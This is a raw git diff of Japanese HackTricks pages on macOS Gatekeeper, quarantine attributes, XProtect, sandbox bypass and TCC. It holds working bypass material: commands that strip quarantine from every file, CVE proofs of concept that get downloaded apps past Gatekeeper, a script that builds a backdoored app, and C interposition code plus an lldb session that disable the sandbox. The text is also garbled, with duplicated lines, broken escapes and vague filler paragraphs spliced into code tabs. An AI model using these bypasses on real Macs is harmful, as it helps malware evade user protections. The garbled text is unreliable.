int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
int main() {
qtn_proc_t qp = qtn_proc_alloc();
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
qtn_proc_apply_to_self(qp);
qtn_proc_free(qp);
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
FILE *fp;
fp = fopen("thisisquarantined.txt", "w+");
fprintf(fp, "Hello Quarantine\n");
fclose(fp);
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
return 0;
}
```
````
</details>
そして、次のようにしてその属性を**削除**します:
@ -265,7 +250,8 @@ return 0;
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
```
````
そして、次のコマンドを使用して、隔離されたすべてのファイルを検索します:
{% code overflow="wrap" %}
@ -276,11 +262,11 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
**Quarantine情報**は、LaunchServicesによって管理される中央データベースに保存されます。**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**。
#### **Quarantine.kext**
**Quarantine.kext**
このカーネル拡張機能は、システムの**カーネルキャッシュ**を介してのみ利用可能です。ただし、**https://developer.apple.com/** から**Kernel Debug Kit**をダウンロードすることで、この拡張機能のシンボル化されたバージョンを入手できます。
### XProtect
#### XProtect
XProtectはmacOSに組み込まれた**対マルウェア**機能です。XProtectは、**アプリケーションが初めて起動されるか変更される際に、既知のマルウェアや安全でないファイルタイプのデータベース**と照合します。Safari、Mail、Messagesなどの特定のアプリを介してファイルをダウンロードすると、XProtectが自動的にファイルをスキャンします。データベース内の既知のマルウェアと一致する場合、XProtectはファイルの実行を**防止**し、脅威を通知します。
@ -298,34 +284,32 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**にあるSIP保護された場所にあり、バンドル内にはXProtectが使用する情報が含まれています:
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: これらのcdhashesを持つコードがレガシー権限を使用できるようにします。
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleIDとTeamIDを介してロードを禁止されているプラグインと拡張機能のリスト、または最小バージョンを示します。
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: マルウェアを検出するためのYaraルール。
- **`XProtect.bundle/Contents/Resources/gk.db`**: ブロックされたアプリケーションとTeamIDのハッシュを持つSQLite3データベース。
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: これらのcdhashesを持つコードがレガシー権限を使用できるようにします。
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleIDとTeamIDを介してロードを禁止されているプラグインと拡張機能のリスト、または最小バージョンを示します。
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: マルウェアを検出するためのYaraルール。
* **`XProtect.bundle/Contents/Resources/gk.db`**: ブロックされたアプリケーションとTeamIDのハッシュを持つSQLite3データベース。
XProtectに関連するもう1つのAppが**`/Library/Apple/System/Library/CoreServices/XProtect.app`**にあり、Gatekeeperプロセスとは関係ありません。
XProtectに関連するもう1つのAppが\*\*`/Library/Apple/System/Library/CoreServices/XProtect.app`\*\*にあり、Gatekeeperプロセスとは関係ありません。
### Gatekeeperではない
#### Gatekeeperではない
{% hint style="danger" %}
Gatekeeperは、アプリケーションを実行するたびに実行されるわけではないことに注意してください。_**AppleMobileFileIntegrity**_ (AMFI)は、Gatekeeperによってすでに実行および検証されたアプリケーションを実行するときにのみ、**実行可能コードの署名を検証**します。
{% endhint %}
したがって、以前はアプリケーションを実行してGatekeeperでキャッシュすることが可能で、その後アプリケーションの実行ファイル以外のファイルElectron asarやNIBファイルなどを変更し、他に保護がない場合、アプリケーションに**悪意のある**追加がされた状態で**実行**されていました。
しかし、現在はmacOSがアプリケーションバンドル内のファイルを**変更できないように防止**しています。そのため、[Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md)攻撃を試みると、Gatekeeperでキャッシュするためにアプリケーションを実行した後でも、バンドルを変更できなくなることがわかります。たとえば、Contentsディレクトリの名前をExploitで示されているようにNotConに変更し、その後アプリケーションのメインバイナリをGatekeeperでキャッシュすると、エラーが発生して実行されません。
## Gatekeeperのバイパス
### Gatekeeperのバイパス
Gatekeeperをバイパスする方法ユーザーに何かをダウンロードさせ、Gatekeeperが拒否すべきときに実行させる方法は、macOSの脆弱性と見なされます。これまでにGatekeeperをバイパスするための技術に割り当てられたいくつかのCVEは次のとおりです:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
**Archive Utility**を使用している場合、**886文字を超えるパス**を持つファイルにはcom.apple.quarantine拡張属性が付与されません。この状況により、これらのファイルがGatekeeperのセキュリティチェックを**回避**することが誤って可能になります。
詳細については、[**元のレポート**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)を参照してください。
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
**Automator**で作成されたアプリケーションでは、実行に必要な情報が`application.app/Contents/document.wflow`にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる一般的なAutomatorバイナリです。
@ -335,58 +319,67 @@ Gatekeeperをバイパスする方法ユーザーに何かをダウンロー
詳細については、[**元のレポート**](https://ronmasas.com/posts/bypass-macos-gatekeeper)を参照してください。
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
このバイパスでは、zipファイルが`application.app`ではなく`application.app/Contents`から圧縮を開始するように作成されました。したがって、**quarantine属性**が\*\*`application.app/Contents`のすべてのファイル**に適用されましたが、**`application.app`**には適用されなかったため、Gatekeeperはバイパスされました。つまり、`application.app`がトリガーされたときには**quarantine属性が存在しなかった\*\*のです。
このバイパスでは、zipファイルが`application.app`ではなく`application.app/Contents`から圧縮を開始するように作成されました。したがって、**quarantine属性**が**`application.app/Contents`のすべてのファイル**に適用されましたが、**`application.app`**には適用されなかったため、Gatekeeperはバイパスされました。つまり、`application.app`がトリガーされたときには**quarantine属性が存在しなかった**のです。
```bash
zip -r test.app/Contents test.zip
```
チェックして、より詳細な情報を[**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)で確認してください。
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
コンポーネントが異なる場合でも、この脆弱性の悪用は前回のものと非常に似ています。この場合、**`application.app/Contents`からApple Archiveを生成し、Archive Utilityによって展開される際に`application.app`には隔離属性が付与されない**ようにします。
コンポーネントが異なる場合でも、この脆弱性の悪用は前回のものと非常に似ています。この場合、**`application.app/Contents`**からApple Archiveを生成し、**Archive Utility**によって展開される際に**`application.app`には隔離属性が付与されない**ようにします。
```bash
aa archive -d test.app/Contents -o test.app.aar
```
チェックして、より詳細な情報を[**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)で確認してください。
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
ACL \*\*`writeextattr`\*\*を使用して、ファイルの属性への書き込みを誰もが防ぐことができます:
ACL **`writeextattr`**を使用して、ファイルの属性への書き込みを誰もが防ぐことができます:
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
さらに、**AppleDouble**ファイル形式は、そのACEを含むファイルをコピーします。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、**`com.apple.acl.text`**というxattrに格納されたACLテキスト表現が、展開されたファイルのACLとして設定されることがわかります。したがって、ACLを設定して他のxattrの書き込みを防止するACLを持つzipファイルにアプリケーションを圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした:
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、\*\*`com.apple.acl.text`\*\*というxattrに格納されたACLテキスト表現が、展開されたファイルのACLとして設定されることがわかります。したがって、ACLを設定して他のxattrの書き込みを防止するACLを持つzipファイルにアプリケーションを圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
python3 -m http.server
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
```
{% endcode %}
詳細については、[**元のレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)をチェックしてください。
これはAppleArchivesでも悪用される可能性があります。
```bash
mkdir app
touch app/test
chmod +a "everyone deny write,writeattr,writeextattr" app/test
aa archive -d app -o test.aar
```
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
**Google Chromeは、macOSの内部問題のためにダウンロードされたファイルにquarantine属性を設定していないことが発見されました。**
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
AppleDoubleファイル形式は、ファイルの属性を`._`で始まる別のファイルに保存し、これによりmacOSマシン間でファイル属性をコピーするのに役立ちます。しかし、AppleDoubleファイルを展開した後、`._`で始まるファイルにquarantine属性が設定されていないことがわかりました。
```bash
mkdir test
echo a > test/a
@ -396,10 +389,10 @@ aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
```
{% endcode %}
**Gatekeeper**をバイパスすることが可能でした。トリックは、AppleDouble名前規則を使用して`._`で始める、quarantine属性の設定されていない**隠しファイル**を作成し、この隠しファイルへの**シンボリックリンクとして見えるファイル**を作成することでした。\
**dmgファイルが実行されると**、quarantine属性がないため、**Gatekeeperをバイパス**します。
```bash
# Create an app bundle with the backdoor an call it app.app
@ -415,6 +408,9 @@ ln -s ._app.dmg s/app/app.dmg
echo "[+] compressing files"
aa archive -d s/ -o app.aar
```
### 隔離 xattr の防止
#### 隔離 xattr の防止
".app" バンドルに隔離 xattr が追加されていない場合、それを実行しても **Gatekeeper はトリガーされません**
</details>

View file

@ -1,4 +1,6 @@
# macOS デフォルトサンドボックスのデバッグ
# macOS Default Sandbox Debug
## macOS デフォルトサンドボックスのデバッグ
<details>
@ -9,7 +11,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* \*\*💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
* **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに貢献する。
</details>
@ -53,6 +55,7 @@ return 0;
実行してコンパイルします:`clang -framework Foundation -o SandboxedShellApp main.m`
2. `.app` バンドルをビルドします
```bash
mkdir -p SandboxedShellApp.app/Contents/MacOS
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
@ -74,7 +77,9 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
</plist>
EOF
```
3. エンタイトルメントを定義する
```bash
cat << EOF > entitlements.plist
<?xml version="1.0" encoding="UTF-8"?>
@ -87,30 +92,13 @@ cat << EOF > entitlements.plist
</plist>
EOF
```
{% endtab %}
{% tab title="サンドボックス + ダウンロード" %}
```bash
cat << EOF > entitlements.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.files.downloads.read-write</key>
<true/>
</dict>
</plist>
EOF
```
4. アプリに署名します(キーチェーンで証明書を作成する必要があります)
```bash
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
\`\`\`bash cat << EOF > entitlements.plist com.apple.security.app-sandbox com.apple.security.files.downloads.read-write EOF \`\`\` 4. アプリに署名します(キーチェーンで証明書を作成する必要があります) \`\`\`bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
## An d in case you need this in the future
# An d in case you need this in the future
codesign --remove-signature SandboxedShellApp.app
```
<details>
@ -125,3 +113,4 @@ HackTricks をサポートする他の方法:
* **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
```

View file

@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
@ -18,25 +18,25 @@ HackTricksをサポートする他の方法
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (2).png" alt=""><figcaption><p>画像は<a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a>から</p></figcaption></figure>
前述の画像では、**`com.apple.security.app-sandbox`**権限を持つアプリケーションが実行される際に、**サンドボックスがどのように読み込まれるか**が観察できます。
前述の画像では、\*\*`com.apple.security.app-sandbox`\*\*権限を持つアプリケーションが実行される際に、**サンドボックスがどのように読み込まれるか**が観察できます。
コンパイラは`/usr/lib/libSystem.B.dylib`をバイナリにリンクします。
その後、**`libSystem.B`**は、**`xpc_pipe_routine`**がアプリの権限情報を**`securityd`**に送信するまで、他のいくつかの関数を呼び出します。Securitydはプロセスをサンドボックス内に隔離すべきかどうかをチェックし、隔離される場合は隔離されます。\
最後に、サンドボックスは**`__sandbox_ms`**を呼び出してアクティブ化され、**`__mac_syscall`**が呼び出されます。
その後、\*\*`libSystem.B`**は、**`xpc_pipe_routine`**がアプリの権限情報を**`securityd`**に送信するまで、他のいくつかの関数を呼び出します。Securitydはプロセスをサンドボックス内に隔離すべきかどうかをチェックし、隔離される場合は隔離されます。**\
**最後に、サンドボックスは**`__sandbox_ms`**を呼び出してアクティブ化され、**`__mac_syscall`\*\*が呼び出されます。
## バイパス可能な方法
### 隔離属性のバイパス
**サンドボックス化されたプロセスによって作成されたファイル**には、サンドボックスからの脱出を防ぐために**隔離属性**が追加されます。ただし、サンドボックス化されたアプリケーション内で**隔離属性のない`.app`フォルダを作成**できれば、アプリバンドルバイナリを**`/bin/bash`**を指すようにし、**plist**にいくつかの環境変数を追加して**`open`**を悪用して**新しいアプリをサンドボックスをバイパスして起動**することができます。
**サンドボックス化されたプロセスによって作成されたファイル**には、サンドボックスからの脱出を防ぐために**隔離属性**が追加されます。ただし、サンドボックス化されたアプリケーション内で**隔離属性のない`.app`フォルダを作成**できれば、アプリバンドルバイナリを\*\*`/bin/bash`**を指すようにし、plistにいくつかの環境変数を追加して**`open`**を悪用して**新しいアプリをサンドボックスをバイパスして起動\*\*することができます。
これは[**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)で行われたことです。
{% hint style="danger" %}
したがって、現時点では、**隔離属性のない名前で終わる`.app`フォルダ**を作成できる場合、macOSは**`.app`フォルダ**と**メイン実行可能ファイル**でのみ**隔離**属性を**チェック**するため、サンドボックスを回避できます(メイン実行可能ファイルを**`/bin/bash`**に向けます)。
したがって、現時点では、**隔離属性のない名前で終わる`.app`フォルダ**を作成できる場合、macOSは\*\*`.app`フォルダ**と**メイン実行可能ファイル**でのみ**隔離**属性を**チェック**するため、サンドボックスを回避できます(メイン実行可能ファイルを**`/bin/bash`\*\*に向けます)。
すでに実行が許可された.appバンドル許可された実行フラグを持つ隔離xttrを持っているの場合、それも悪用できます...ただし、今ではサンドボックス内で特権のTCC権限を持っていない限り、**`.app`**バンドル内に書き込むことはできません。
すでに実行が許可された.appバンドル許可された実行フラグを持つ隔離xttrを持っているの場合、それも悪用できます...ただし、今ではサンドボックス内で特権のTCC権限を持っていない限り、\*\*`.app`\*\*バンドル内に書き込むことはできません。
{% endhint %}
### Open機能の悪用
@ -76,19 +76,22 @@ HackTricksをサポートする他の方法
[**この研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)では、サンドボックスをバイパスする2つの方法が発見されました。サンドボックスは、**libSystem**ライブラリがロードされるときにユーザーランドから適用されるため、バイナリがそのライブラリのロードを回避できれば、サンドボックスを回避できます:
- バイナリが**完全に静的にコンパイル**されている場合、そのライブラリのロードを回避できます。
- バイナリがライブラリをロードする必要がない場合リンカーもlibSystemにあるため、libSystemをロードする必要がありません。
* バイナリが**完全に静的にコンパイル**されている場合、そのライブラリのロードを回避できます。
* バイナリがライブラリをロードする必要がない場合リンカーもlibSystemにあるため、libSystemをロードする必要がありません。
### シェルコード
ARM64の**シェルコードでさえも**、`libSystem.dylib`にリンクする必要があります。
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### 権限
特定の**権限**がアプリケーションにある場合、**サンドボックス**で**許可されている****アクション**があっても、注意してください。
特定の**権限**がアプリケーションにある場合、**サンドボックス**で**許可されている\*\*\*\*アクション**があっても、注意してください。
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
@ -98,15 +101,17 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]
```
### インターポスティングバイパス
**インターポスティング**に関する詳細情報は、以下を参照してください:
{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %}
[macos-function-hooking.md](../../../macos-proces-abuse/macos-function-hooking.md)
{% endcontent-ref %}
#### サンドボックスを回避するために `_libsecinit_initializer` をインターポストする
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
@ -130,6 +135,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### サンドボックスを回避するために`__mac_syscall`をインターポストする
{% code title="interpose.c" %}
@ -165,6 +171,7 @@ __attribute__((used)) static const struct interpose_sym interposers[] __attribut
};
```
{% endcode %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
@ -176,35 +183,34 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```
### Sandboxのデバッグとバイパス方法
サンドボックスされるはずのアプリケーションをコンパイルしましょう:
{% tabs %}
{% tab title="sand.c" %}
```c
#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}
```
{% endtab %}
{% tab title="entitlements.xml" %}以下は、macOSサンドボックスのデバッグとバイパスに関する情報です。
以下は、macOSサンドボックスのデバッグとバイパスに関する情報です。
## macOSサンドボックスのデバッグとバイパス
### macOSサンドボックスのデバッグとバイパス
macOSサンドボックスをバイパスするためのいくつかの手法があります。これには、デバッグ技術やエスケーレーション技術が含まれます。サンドボックスをバイパスするためには、権限昇格やセキュリティ保護の回避が必要です。
### デバッグ技衧
#### デバッグ技衧
macOSサンドボックスをバイパスするためには、デバッグ技術を使用することができます。デバッグ技術を使用すると、サンドボックス内のプロセスを解析し、セキュリティ保護を回避することができます。
### エスカレーション技術
#### エスカレーション技術
エスカレーション技術を使用すると、特権昇格を行うことができます。特権昇格を行うことで、サンドボックス内の制限を回避し、システム全体にアクセスできるようになります。
macOSサンドボックスのデバッグとバイパスは、セキュリティ破壊行為に該当するため、違法行為となります。これらの手法は、正当な目的でのみ使用すべきです。{% endtab %}
macOSサンドボックスのデバッグとバイパスは、セキュリティ破壊行為に該当するため、違法行為となります。これらの手法は、正当な目的でのみ使用すべきです。
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
@ -213,13 +219,10 @@ macOSサンドボックスのデバッグとバイパスは、セキュリティ
</dict>
</plist>
```
{% endtab %}
{% tab title="Info.plist" %}
### macOS Sandbox Debug and Bypass
## macOS Sandbox Debug and Bypass
### Debugging the macOS Sandbox
#### Debugging the macOS Sandbox
To debug the macOS sandbox, you can use the `sandbox-exec` tool with the `-D` flag to enable debug mode. This will print detailed debug information about the sandbox operations.
@ -227,13 +230,12 @@ To debug the macOS sandbox, you can use the `sandbox-exec` tool with the `-D` fl
sandbox-exec -D
```
### Bypassing the macOS Sandbox
#### Bypassing the macOS Sandbox
To bypass the macOS sandbox, you can use various techniques such as exploiting vulnerabilities in the sandbox profile, injecting code into a process with sandbox permissions, or using kernel vulnerabilities to disable sandbox restrictions.
It is important to note that bypassing the macOS sandbox is a serious security issue and should only be done for educational or research purposes in controlled environments.
It is important to note that bypassing the macOS sandbox is a serious security issue and should only be done for educational or research purposes in controlled environments.
{% endtab %}
```xml
<plist version="1.0">
<dict>
@ -244,8 +246,6 @@ It is important to note that bypassing the macOS sandbox is a serious security i
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
その後、アプリをコンパイルします:
@ -262,14 +262,16 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
{% endcode %}
{% hint style="danger" %}
アプリは**`~/Desktop/del.txt`**ファイルを**読み取ろうとします**が、**Sandboxが許可しない**でしょう。\
アプリは\*\*`~/Desktop/del.txt`**ファイルを**読み取ろうとします\*\*が、**Sandboxが許可しない**でしょう。\
Sandboxがバイパスされると、ファイルを読み取ることができるように、そこにファイルを作成してください
```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}
アプリケーションをデバッグして、サンドボックスがいつ読み込まれるかを確認しましょう:
```bash
# Load app in debugging
lldb ./sand
@ -346,6 +348,7 @@ Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```
{% hint style="warning" %}
**サンドボックスをバイパスしても、TCC** はユーザーにデスクトップからファイルを読み取るプロセスを許可するかどうか尋ねます。
{% endhint %}
@ -365,7 +368,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -6,17 +6,17 @@
HackTricks をサポートする他の方法:
- **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details>
## **基本情報**
**TCCTransparency, Consent, and Control**は、アプリケーションの権限を規制するセキュリティプロトコルです。その主な役割は、**位置情報サービス、連絡先、写真、マイクロフォン、カメラ、アクセシビリティ、およびフルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることで、プライバシーを強化し、ユーザーがデータをコントロールできるようにします。
\*\*TCCTransparency, Consent, and Control\*\*は、アプリケーションの権限を規制するセキュリティプロトコルです。その主な役割は、**位置情報サービス、連絡先、写真、マイクロフォン、カメラ、アクセシビリティ、およびフルディスクアクセス**などの機密機能を保護することです。TCCは、これらの要素へのアプリのアクセスを許可する前に明示的なユーザーの同意を義務付けることで、プライバシーを強化し、ユーザーがデータをコントロールできるようにします。
